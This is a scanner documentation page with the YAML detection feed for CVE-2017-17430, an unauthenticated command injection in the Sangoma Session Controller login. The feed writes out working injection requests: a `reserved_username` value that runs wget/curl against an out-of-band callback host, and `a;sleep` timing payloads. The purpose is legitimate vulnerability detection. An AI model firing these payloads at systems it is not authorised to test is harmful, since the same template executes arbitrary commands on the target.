Sangoma Nsc — 1 vulnerability check

noctis ships 1 vulnerability check for Sangoma Nsc, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Sangoma NetBorder / Vega Session Controller Login Command Injection

CVECVE-2017-17430
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/sangoma-nsc/CVE-2017-17430.yaml

Detects the unauthenticated OS command injection in the web management login of Sangoma NetBorder / Vega Session Controller before 2.3.12-80-GA: the reserved_username field of the login form is pasted unescaped into a shell command line, so a user name such as `a;<command>;` runs the command before any authentication. After the login page at / is recognised by its reserved_username field and a plain failed login answers promptly, the feed submits login forms whose user name carries benign commands and reports only on proof of real execution: an out-of-band HTTP callback whose URL only a shell can rebuild, or a reply delay that scales with an injected sleep (6 s versus 3 s). Nothing is written on the target.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /
  3. HTTP(S) request POST / with a crafted body
  4. HTTP(S) request POST / with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST / with a crafted body
  7. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Sangoma Session Controller command injection confirmed via the reserved_username login field: a shell collapsed the $()-split OOB token and…
  8. HTTP(S) request POST / with a crafted body
  9. HTTP(S) request POST / with a crafted body
  10. Checks slow3.body for [\s\S]* → finding QoD 75: Sangoma Session Controller command injection confirmed by timing via the reserved_username login field: fastest of two plain failed logins …

References:

Feed source — tests/vulnerabilities/sangoma-nsc/CVE-2017-17430.yaml
# Sangoma NetBorder / Vega Session Controller < 2.3.12-80-GA — login user-name
# command injection (CVE-2017-17430)
#
# Ported from OpenVAS/Greenbone NVT `2018/sangoma/gb_sangoma_nsc_rce_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.112184, GPL-2.0-only). Sink from the Appsecco
# advisory (Full Disclosure 2018/Jan/36): the PHP login handler builds
#   $args = ' --action=login --user='.$username.' --encrypted-password="..."';
#   $shell->Execute($cmd, $args, true, array('log'));
# with the raw `reserved_username` form field, so `a;<cmd>;` runs <cmd> before
# any authentication. The command output is only logged, never shown: the
# injection is blind. Fixed in 2.3.12-80-GA (released 2017-12-07).
#
# The NASL POSTs the login form to `/` (multipart, fields reserved_username /
# reserved_password / Login) with `a; ping -c 3 -p <hex> <scanner>;` and sniffs
# the ICMP echo requests with pcap — a capability noctis does not have and
# that also fails behind any NAT. Detection here — two benign proofs, nothing
# written, read or persisted, all gated on the login page of `/` carrying the
# product's `reserved_username` field and on a plain failed login (user
# `noctis`) answering below 3 s:
#   1. OOB callback (QoD 97, when OOB is configured): the injected user name
#      `a;wget -q -T 5 -t 1 -O /dev/null <url>||curl -s -m 5 -o /dev/null <url>;`
#      fetches the per-run OOB URL; the token is split by an empty $() so only
#      a shell rebuilds the callback path (a server that merely fetches URLs
#      it sees in a request cannot).
#   2. Time differential (QoD 75, when 1 did not fire): the vendor's Execute()
#      waits for the command line to finish, so, with control = the faster of
#      two plain failed logins, `a;sleep 6;` must answer within
#      control + [5 s, 9 s) and `a;sleep 3;` within control + [2.5 s, 4.5 s),
#      at least 2 s apart. A slow server, or a WAF/IPS that tarpits every
#      request carrying `;` by the same amount, cannot satisfy both windows.
#
# Better than the NASL: works through NAT/firewalls that drop ICMP (HTTP OOB
# callback, or no callback at all with the timing proof), and no ping is sent.
uid: 55b24104-0457-4f62-8faa-55602c0dc6d2
name: "Sangoma NetBorder / Vega Session Controller Login Command Injection (CVE-2017-17430)"
description: |
  Detects the unauthenticated OS command injection in the web management
  login of Sangoma NetBorder / Vega Session Controller before 2.3.12-80-GA:
  the reserved_username field of the login form is pasted unescaped into a
  shell command line, so a user name such as `a;<command>;` runs the command
  before any authentication. After the login page at / is recognised by its
  reserved_username field and a plain failed login answers promptly, the feed
  submits login forms whose user name carries benign commands and reports
  only on proof of real execution: an out-of-band HTTP callback whose URL
  only a shell can rebuild, or a reply delay that scales with an injected
  sleep (6 s versus 3 s). Nothing is written on the target.
cves: [CVE-2017-17430]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [sangoma, netborder, vega, session-controller, sbc, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-17430"
  - "https://seclists.org/fulldisclosure/2018/Jan/36"
  - "ftp://ftp.sangoma.com/nsc/2.3/Changelog"
  - "OpenVAS/Greenbone NASL 2018/sangoma/gb_sangoma_nsc_rce_vuln.nasl (GPL-2.0-only)"

steps:
  - id: split-oob-token
    action: script
    condition: "oob_enabled"
    code: |
      let n = strlen(oob_token);
      #{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
    store_as: oobsplit

  # Pre-initialise every stored result read in a condition below.
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-ctrl2
    action: set_var
    var_name: ctrl2
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-base
    action: set_var
    var_name: base
    var_value: {ms: 999999}

  - id: init-slow6
    action: set_var
    var_name: slow6
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: init-slow3
    action: set_var
    var_name: slow3
    var_value: {status: 0, body: "", duration_ms: 0}

  # Product gate: the management login form posts reserved_username /
  # reserved_password to /.
  - id: login-page
    action: http_request
    method: GET
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: home

  # Control: an ordinary failed login, nothing injected.
  - id: control
    action: http_request
    method: POST
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    follow_redirects: false
    timeout_secs: 15
    condition: "home.status == 200 && stridx(home.body, \"reserved_username\") >= 0"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisNSC17430"
    body: "------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_username\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_password\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"Login\"\r\n\r\nLogin\r\n------noctisNSC17430--\r\n"
    store_as: ctrl

  # Second control: the faster of the two anchors the timing windows, so a
  # one-off slow first login (cold cache) cannot push them out of reach.
  - id: control2
    action: http_request
    method: POST
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    follow_redirects: false
    timeout_secs: 15
    condition: "ctrl.status >= 200 && ctrl.status < 400"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisNSC17430"
    body: "------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_username\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_password\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"Login\"\r\n\r\nLogin\r\n------noctisNSC17430--\r\n"
    store_as: ctrl2

  - id: baseline
    action: script
    condition: "ctrl.status >= 200 && ctrl.status < 400"
    code: |
      let ms = ctrl.duration_ms;
      if ctrl2.status >= 200 && ctrl2.status < 400 && ctrl2.duration_ms < ms { ms = ctrl2.duration_ms; }
      #{ ms: ms }
    store_as: base

  # ── 1. OOB callback ─────────────────────────────────────────────────────
  - id: inject-oob
    action: http_request
    method: POST
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    follow_redirects: false
    timeout_secs: 30
    condition: "oob_enabled && ctrl.status >= 200 && ctrl.status < 400"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisNSC17430"
    body: "------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_username\"\r\n\r\na;wget -q -T 5 -t 1 -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}}||curl -s -m 5 -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}$(){{oobsplit.b}};\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_password\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"Login\"\r\n\r\nLogin\r\n------noctisNSC17430--\r\n"
    store_as: oob_req

  - id: wait-callback
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && ctrl.status >= 200 && ctrl.status < 400"
    store_as: oob_result
    on_success:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Sangoma Session Controller command injection confirmed via the reserved_username login field: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
      stop: true

  # ── 2. Time differential ────────────────────────────────────────────────
  - id: inject-sleep6
    action: http_request
    method: POST
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    follow_redirects: false
    timeout_secs: 20
    condition: "ctrl.status >= 200 && ctrl.status < 400 && base.ms < 3000"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisNSC17430"
    body: "------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_username\"\r\n\r\na;sleep 6;\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_password\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"Login\"\r\n\r\nLogin\r\n------noctisNSC17430--\r\n"
    store_as: slow6

  - id: inject-sleep3
    action: http_request
    method: POST
    path: "/"
    tls_insecure: true
    port: "{{port}}"
    follow_redirects: false
    timeout_secs: 20
    condition: "ctrl.status >= 200 && ctrl.status < 400 && base.ms < 3000 && slow6.status >= 200 && slow6.status < 400 && slow6.duration_ms >= base.ms + 5000 && slow6.duration_ms < base.ms + 9000"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisNSC17430"
    body: "------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_username\"\r\n\r\na;sleep 3;\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"reserved_password\"\r\n\r\nnoctis\r\n------noctisNSC17430\r\nContent-Disposition: form-data; name=\"Login\"\r\n\r\nLogin\r\n------noctisNSC17430--\r\n"
    store_as: slow3

  - id: confirm-timing
    action: match
    source: slow3.body
    pattern: "[\\s\\S]*"
    condition: "ctrl.status >= 200 && ctrl.status < 400 && base.ms < 3000 && slow6.duration_ms >= base.ms + 5000 && slow6.duration_ms < base.ms + 9000 && slow3.status >= 200 && slow3.status < 400 && slow3.duration_ms >= base.ms + 2500 && slow3.duration_ms < base.ms + 4500 && slow6.duration_ms - slow3.duration_ms >= 2000"
    on_match:
      finding:
        confidence_delta: 0.62
        qod: 75
        evidence: "Sangoma Session Controller command injection confirmed by timing via the reserved_username login field: fastest of two plain failed logins answered in {{base.ms}} ms, user name `a;sleep 6;` in {{slow6.duration_ms}} ms and `a;sleep 3;` in {{slow3.duration_ms}} ms (delay scales with the injected argument)"
      stop: true

View these feeds on GitHub